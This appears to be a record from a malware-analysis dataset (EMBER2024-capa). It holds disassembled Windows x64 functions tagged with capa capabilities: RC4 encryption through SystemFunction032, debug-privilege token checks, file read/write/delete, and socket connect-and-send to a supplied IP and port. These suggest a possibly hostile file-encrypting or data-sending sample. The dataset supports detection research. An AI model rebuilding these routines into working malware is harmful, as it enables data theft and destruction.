joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001140
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140002dc0
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140096233]
call fcn.1400012c6
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140002e96
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001163
xor eax, eax
jmp 0x140002e9b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14000fdf0]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14000119f
Capabilities:
Terminate process

Disassembly:
jmp 0x140009d30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400011ef
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400083f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140008410
xor al, al
jmp 0x140008491
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140008423
xor al, al
jmp 0x140008491
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14000844d
xor al, al
jmp 0x140008491
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140008461
xor al, al
jmp 0x140008491
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140008473
xor al, al
jmp 0x140008491
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14000848f
xor al, al
jmp 0x140008491
mov al, 1
add rsp, 0x38
ret
Function at 0x14000123a
Capabilities:
Delete file

Disassembly:
jmp 0x1400030e0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140096300]
call fcn.1400012c6
lea rdx, [0x1400103b4]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14000318d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003162
cmp dword [rbp + 0x108], 0
je 0x140003159
mov rdx, qword [rbp + 0x100]
lea rcx, str._i___s_Deleted._n
call fcn.140001163
mov eax, 1
jmp 0x14000318f
cmp dword [rbp + 0x108], 0
je 0x140003187
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x100]
lea rcx, str.____Error_deleting_file__s:__d_n
call fcn.140001163
xor eax, eax
jmp 0x14000318f
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400012a3
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003850
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140096300]
call fcn.1400012c6
lea rdx, [0x140010264]
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400038bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001163
jmp 0x140003935
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x168]
mov edx, 1
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x168]
cmp qword [rbp + 0x48], rax
je 0x14000390f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x64], eax
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.140001163
jmp 0x14000392b
cmp dword [rbp + 0x178], 0
je 0x14000392b
mov rdx, qword [rbp + 0x170]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1400012ad
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003980
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140096300]
call fcn.1400012c6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140003a00
xor eax, eax
jmp 0x140003aa3
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140003a32
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003aa3
mov r8, qword [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003a94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
lea rcx, str.____Failed_to_write_to_file__s:__d_n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003aa3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140010050]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140002dc0
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140002dc0
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140096233]
call fcn.1400012c6
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140002e96
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001163
xor eax, eax
jmp 0x140002e9b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14000fdf0]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400030e0
Capabilities:
Delete file

Disassembly:
jmp 0x1400030e0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140096300]
call fcn.1400012c6
lea rdx, [0x1400103b4]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14000318d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003162
cmp dword [rbp + 0x108], 0
je 0x140003159
mov rdx, qword [rbp + 0x100]
lea rcx, str._i___s_Deleted._n
call fcn.140001163
mov eax, 1
jmp 0x14000318f
cmp dword [rbp + 0x108], 0
je 0x140003187
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x100]
lea rcx, str.____Error_deleting_file__s:__d_n
call fcn.140001163
xor eax, eax
jmp 0x14000318f
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400031d0
Capabilities:
Convert ip address from string

Disassembly:
jmp 0x1400031d0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140096300]
call fcn.1400012c6
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ucrtbased.dll__strdup]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140003243
lea rcx, str.strdup_failed
call qword [sym.imp.ucrtbased.dll_perror]
xor eax, eax
jmp 0x14000331f
mov edx, 0x3a
mov rcx, qword [rbp + 8]
call sub.VCRUNTIME140D.dll_strchr
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140003302
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov r8d, send
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov eax, 1
imul rax, rax, 0xf
mov rcx, qword [rbp + 0x168]
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x28]
inc rax
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_atoi]
mov rcx, qword [rbp + 0x170]
mov dword [rcx], eax
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x168]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x1400032f2
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
shl rax, 0x10
mov rcx, qword [rbp + 0x170]
movsxd rcx, dword [rcx]
or rax, rcx
mov rcx, qword [rbp + 0x178]
mov qword [rcx], rax
jmp 0x140003300
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x14000331f
jmp 0x140003310
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x14000331f
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140010240]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400033a0
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x1400033a0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140096300]
call fcn.1400012c6
mov qword [rbp + 8], 0xffffffffffffffff
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14000343b
xor eax, eax
jmp 0x14000350b
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x138], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x138]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x24]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x68]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400034c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x160]
lea rcx, str.____Error_Rading_File__s:__d
call fcn.140001163
mov rax, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x68]
mov qword [rax], rcx
mov rax, qword [rbp + 0x170]
mov ecx, dword [rbp + 0x44]
mov dword [rax], ecx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x168]
cmp qword [rax], 0
je 0x140003502
mov rax, qword [rbp + 0x170]
mov eax, dword [rax]
test rax, rax
jne 0x140003506
xor eax, eax
jmp 0x14000350b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400100e0]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140003590
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140003590
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
lea rcx, [0x140096300]
call fcn.1400012c6
mov qword [rbp + 0x238], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
je 0x140003617
mov edx, dword [rbp + 0x254]
lea rcx, str.____WSAStartup_failed:__d_n
call fcn.140001163
xor eax, eax
jmp 0x14000379e
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x14000365c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Socket_creation_failed:__ld_n
call fcn.140001163
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000379e
mov eax, 2
mov word [rbp + 0x1e8], ax
movzx ecx, word [rbp + 0x418]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea r8, [rbp + 0x1ec]
mov rdx, qword [rbp + 0x410]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400036e2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Connection_failed:__ld_n
call fcn.140001163
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000379e
mov eax, dword [rbp + 0x428]
cmp qword [rbp + 0x238], rax
jae 0x140003786
mov eax, dword [rbp + 0x428]
sub rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x420]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x140003766
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Send_failed:__ld_n
call fcn.140001163
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000379e
movsxd rax, dword [rbp + 0x214]
mov rcx, qword [rbp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
jmp 0x1400036e2
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400101b0]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x140003850
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003850
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140096300]
call fcn.1400012c6
lea rdx, [0x140010264]
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400038bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001163
jmp 0x140003935
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x168]
mov edx, 1
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x168]
cmp qword [rbp + 0x48], rax
je 0x14000390f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x64], eax
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.140001163
jmp 0x14000392b
cmp dword [rbp + 0x178], 0
je 0x14000392b
mov rdx, qword [rbp + 0x170]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140003980
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003980
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140096300]
call fcn.1400012c6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140003a00
xor eax, eax
jmp 0x140003aa3
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140003a32
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003aa3
mov r8, qword [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003a94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
lea rcx, str.____Failed_to_write_to_file__s:__d_n
call fcn.140001163
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003aa3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140010050]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140003e10
Capabilities:
Acquire debug privileges
Get token privileges

Disassembly:
jmp 0x140003e10
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400963cb]
call fcn.1400012c6
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x28]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140004009
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, socket
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140003e97
mov eax, dword [rbp + 0x44]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140004009
mov dword [rbp + 0x84], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rbp + 0x84]
mov qword [rbp + 0x1b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x1b8]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x140003fe7
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x84]
mov r8, qword [rbp + 0xa8]
mov edx, 3
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140003fe7
lea r8, [rbp + 0xc8]
lea rdx, [0x140011820]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140003fe7
mov dword [rbp + 0xe4], 0
jmp 0x140003f75
mov eax, dword [rbp + 0xe4]
inc eax
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax]
cmp dword [rbp + 0xe4], eax
jae 0x140003fe7
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov edx, dword [rbp + 0xc8]
cmp dword [rcx + rax + 4], edx
jne 0x140003fe5
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov edx, dword [rbp + 0xcc]
cmp dword [rcx + rax + 8], edx
jne 0x140003fe5
mov eax, dword [rbp + 0xe4]
imul rax, rax, 0xc
mov rcx, qword [rbp + 0xa8]
mov eax, dword [rcx + rax + 0xc]
and eax, 2
test eax, eax
je 0x140003fe5
mov dword [rbp + 4], 1
jmp 0x140003fe7
jmp 0x140003f67
cmp qword [rbp + 0xa8], 0
je 0x140004009
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xa8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x28], 0
je 0x14000401a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140010820]
call fcn.14000126c
mov eax, edi
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret